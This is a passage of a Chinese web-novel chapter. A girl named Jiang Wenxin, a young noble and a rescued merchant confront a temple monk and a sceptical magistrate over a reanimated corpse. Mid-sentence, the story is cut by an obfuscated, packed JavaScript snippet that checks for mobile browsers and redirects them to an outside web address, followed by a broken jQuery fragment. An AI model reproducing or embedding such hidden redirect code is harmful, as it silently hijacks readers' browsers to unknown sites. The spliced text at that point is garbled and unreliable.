“哼!”
王容朔一甩袖子,扬起下巴:“我愿意上哪儿就上哪儿,你管得着么!”
这语气,这神态,活脱脱一个被家中长辈宠坏了的纨绔子弟。
然而那和尚却很吃这一套,满脸赔笑地跟在身旁,甚至把姜问心都给挤开了。
姜问心眼珠子转了转,看向了这个拥有两幅面孔的光头。
嗯……平平无奇,没有什么特殊之处,跟之前在方栋家中遇到的那个大和尚远不能比。
看了两眼,姜问心便不感兴趣了,很快地就收回了目光。
那和尚却是将目光看了过来,在姜问心身上隐晦地打了个转之后,他就从姜问心身上的衣物、发间的首饰敏锐地意识到了姜问心身份不凡。
其实这倒是得多亏了李明珠。
李明珠实在是个很有才能的女人,成婚后短短几年就能将握在自己手里的生意做大做强,再加上她自己本身就出身不凡,家底丰厚,这片地方能与她相提并论的人可以说是寥寥无几。
作为李明珠的“表妹”,姜问心近日来可以说是生活得十分滋润了。吃穿不愁,衣来伸手,饭来张口,完全不必为了生计奔波,自然可以全心全意地进行她的人类观察大计。
不过可怜的姜问心这时候还不知道,自己勤勤恳恳奋斗的计划其实出了一个大差错。
光头和尚也朝着姜问心露出了一个和善的微笑。
正要说些什么,却被姜问心出声打断了。
“你们不去看看那个人么?”姜问心冲着软地上的那一摊扬了扬下巴:“他好像有一点快死了。”
王九郎本来还在为着那个朝姜问心笑得殷勤的和尚皱眉,一听这话,也是将自己心头莫名生出的一丝不悦抛之脑后,急急朝地上那人跑去。
姜问心和和尚也跟在他身后。
王九郎提灯一照,这人面色惨白,双眼紧闭,似乎已经没有在喘气了,看起来确实是已经死了。
看他的穿着打扮,似乎是一位行商。
姜问心出声提醒道:“或许还能救一下哦,他的心脏还有一点动静……我听到胸膛里的心还在轻轻跳动。”
王九郎闻言,伸手去探。
果然,手底下传来微弱的搏动。
“喂,那和尚!”王九郎急忙转身招呼:“快把他扶进去,灌些热汤下去缓缓,兴许还能活。”
事关人命,那和尚也不敢再多说,赶紧上前,与王容朔一块儿将这行商扶起来,背在背上进庙去了。
将人安置在床上之后,灌热汤,点炉子,折腾了整整一夜之后,天色微微亮起时,寺庙中的晨钟敲得当当作响,这行商才终于醒了过来。
见状,王九郎提起的心终于放下了,这时候也就开始继续追究先前被暂时放过的和尚们见死不救的行为了。
一夜过去,那和尚也已经不复先前的慌乱了,虽面色满是藏不住的疲惫,却还是赔笑道:“若早知道您二位也在门外,我一定早早地就将庙门打开,放您进来了。”
哪知这话不仅没能安抚到王容朔,还使他更为愤怒了:“你这意思是如果门外就只有那行商就不会开门救他了?我竟是不知,这佛门净地是这么个众生有别?”
那和尚苦笑道:“王檀越您也知道啊,外面那可是尸变了的女尸啊!这种情况下,谁敢开门呢?”
王九郎年龄虽小,却也不是那么好糊弄的:“你都没有开门,怎么知道门外是女尸?”
“这……”那和尚一时语噎,半晌才讪讪地笑了:“我一听那动静就知道必然是有什么不同寻常的事情发生了。虽然不知道到底是什么,但是在那种情况下,又怎么敢再开门呢?”
“你们这儿不是寺庙吗?不都说什么佛法无边、出家人以慈悲为怀么?怎么你们就这么心狠,竟要眼睁睁地看着一个活人去死?”
和尚支支吾吾半天,最终还是吐露了实情:“您也不是不知道,我们这儿不过是个无名兰若,哪有那么大的能耐,能够对抗尸变了的死尸呢!这等邪祟,任谁来了也是无能为力啊!”
“你们修行之人不是有法力护体吗?这有佛祖菩萨庇佑的寺庙之中,哪个妖魔鬼怪敢强闯?”王容朔这会儿是真心感到疑惑了。
可惜,面前这和尚却不能为他解惑,面对他问出的这些问题,半天都不敢吭声。
王容朔这下哪还能不明白是怎么一回事,更是怒气冲冲,连声质问:“这么说你们这儿根本就是个招摇撞骗的假寺庙、一堆假和尚了!那怎么还敢哄骗我说能够帮助我那可怜的六哥超度,送他转世投胎呢?难不成,你们就只是为了骗我捐上那一笔香火钱吗?”
被这么个少年郎劈头盖脸地呵斥了一顿之后,这和尚颇觉自己脸面挂不住,干脆也是破罐子破摔了:“王檀越您怎么能这么说呢!这捐香火钱不过是你情我愿,何来哄骗这一说?”
“你,你!”
少年越说越气,一张白皙的俊脸涨得通红,眼看都要厥过去了。
好在这时候,姜问心不知道从哪儿冒出来了。
“你们怎么还在这儿啊?”姜问心奇道,“外头来人了。”
在姜问心面前,王九郎下意识地收敛了怒气,不想给她留下自己脾气不好的坏印象。
原来,先前寺庙里有和尚出门查看时,发现了僵立在树前的女尸,大惊失色之下,跑去报告了县官,这会儿来的正是带领这衙役亲自上门的县官大人。
不过,他们注定要失望了。
先前双手插入树中的那女尸不知何时已经消失得无影无踪,只有那棵大白杨树身上深深的指痕昭示着这里曾经有过可怖之事发生。
至于那个动弹不得却还是离奇消失的女尸嘛,或许和某只大黑驴子有关,也或许和先前莫名其妙离开、这会儿又突然出现、作出一副若无其事的样子的姜问心有关,谁知道呢?
中年和尚刚才还一副理直气壮的样子,却不曾想出来见到这一幕,立时就吓得面无人色。
毕竟,谁能在知道自己周围有一个尸变了的女尸之后,还能面不改色呢?
在自己的小命随时都会受到威胁的情况下,刚才在王九郎面前还分外强硬的和尚一下子就软下来了。
“你们谁报的官?”见寺庙中有人出来了,围着那棵大白杨树的几人里,一人高声询问。
姜问心一行人身后,一个年轻和尚哆哆嗦嗦地出来了。
“是我。”这人报官之后,惦记着寺庙里的活,担心被人责骂,又匆匆赶回来了。
原先说话那人看上去似乎是个衙役,闻言上下打量了他几眼,质疑道:“既然来报官,为何又不等我们派人前来就又匆忙离开?”
年轻和尚名叫觉慧,此时哭丧着脸答话:“这位施主有所不知啊,咱们这寺中活计可不少,小僧今日清早跑去报官,一来一回已经是耽误很多时间了,实在是不敢继续久留了。”
那衙役也不多做纠缠,话锋一转,就再次发问:“哦?既然你说是你报的官,那我问你,”说着,衙役侧过身子露出了身后被众人不远不近围了一圈的大白杨树,“你今日一大早就闯进来,口口声声说遇上了邪祟,那你倒是说说看,你口中那尸变了的女尸又在何处?”
觉慧看着那空空荡荡的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154018|196496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
树干,也是哑口无言,支吾到:“本该就在那树旁的,今日一大早我出门洒扫,一开门就见那东西被困在那儿,双手牢牢扎在这树上,无法脱身。”
说着,觉慧上前两步,往地上一指:“您瞧,那东西先前冲我直叫,还惊得我跌了一跤,这儿都还有痕迹呢!”
众人循着他手指的方向望去,果然在地上看见了一道新鲜的痕迹,看着就像是不久前曾有人在这里滑倒。
“呀!”觉慧惊叫一声,原本慌乱惶恐的面上竟浮现出喜色,又快走几步,行至那白杨树旁,指着深深刻在树干上的凿痕说:“您瞧,这不就是那女尸留下来的痕迹吗?我今早开门时它就正正挂在这儿呢!”
“哼!”
人群中的另一人听了他这话突然冷哼一声:“这树身上有痕迹是不假,但谁又能知道这是什么时候留下来的伤痕呢?你说是昨天夜里它就是吗?空口无凭,你又有什么证据呢?!”
说话这人穿的格外不同,不难看出其实是县官亲至。
“这……”觉慧这下只得哑口无言了。无他,那女尸不知有什么能力,在树干上留下的痕迹泛着乌黑之色,任谁来了都无法一口断定这是昨日夜里出现的新鲜伤痕。
见觉慧张了张嘴却说不出一句辩白,县官再度冷笑一声:“这么说,没有其他人能够证明你说的是真的了?”
她的眼睛在周围扫了一圈,直接就下了定论:“我看分明是你这和尚胡言乱语、恐吓百姓,本官在这生活了这么些年了,可从来没有听说过有什么尸变之说。”
听了这样离谱的一番话,姜问心眨了眨眼,看向了身旁几个当事人。
中年和尚巴不得这事儿离他远远的,又怎么会主动去粘上,自然是事不关己高高挂起;王九郎这会儿被气得险些笑出了声,本想发作,却被身边的书童青松劝了又劝;至于那个被追杀了几条街好不容易才捡回一条命的受害者……
姜问心的眼珠子转了一圈,才想起来那人这会儿还躺在床上歇着呢。
这怎么行呢!
捉拿审判凶手,怎么好让受害者本人不在场呢!
姜问心弯了弯眼睛,藏在衣袖下的手指往庙里一指,那卧在床上的苦命行商就忍不住从心底生出一股冲动。
在这股冲动的促使下,他艰难地从床上爬了下来,向着寺庙大门口走去。
沿途似乎还遇上了什么人跟他说话,但他脑子昏昏沉沉的,也没有余力作出应答。
直到他的脚迈出了门槛,他的眼睛看向了那一圈围着的人、那一棵救了他一命的救命恩树,他的脑子才开始清明起来。
终于恢复运作的大脑回想起先前听到的几句零碎的话。
“……说根本就没有什么女尸,尸变都是他们编出来的谎话……”
“……自导自演罢了,说不准其实就是有人想要谋财害命才故意找人来演上这么一出闹剧呢……”
耳旁,是不知道什么人在大声呵斥:“说什么女尸留下的痕迹,你们自己瞧瞧,这树身上留下的个个都痕迹足足有一指之深,你们谁的手能够做到?这根本就不是什么人力能够达到的效果,我看尸变是假,装神弄鬼引得人人自危、只知道求神拜佛以求心安才是真!”
“这儿根本就没有什么尸变!”
“就是尸变啊——”
病歪歪的行商嘴里发出一声哀嚎,凄厉的语调配上他那嘶哑的嗓音,听上去简直不似人声。
猝不及防之下,几乎是所有人都被吓了一跳。
而在众人没有注意到的角度,姜问心的眼中满是兴致。
人齐了。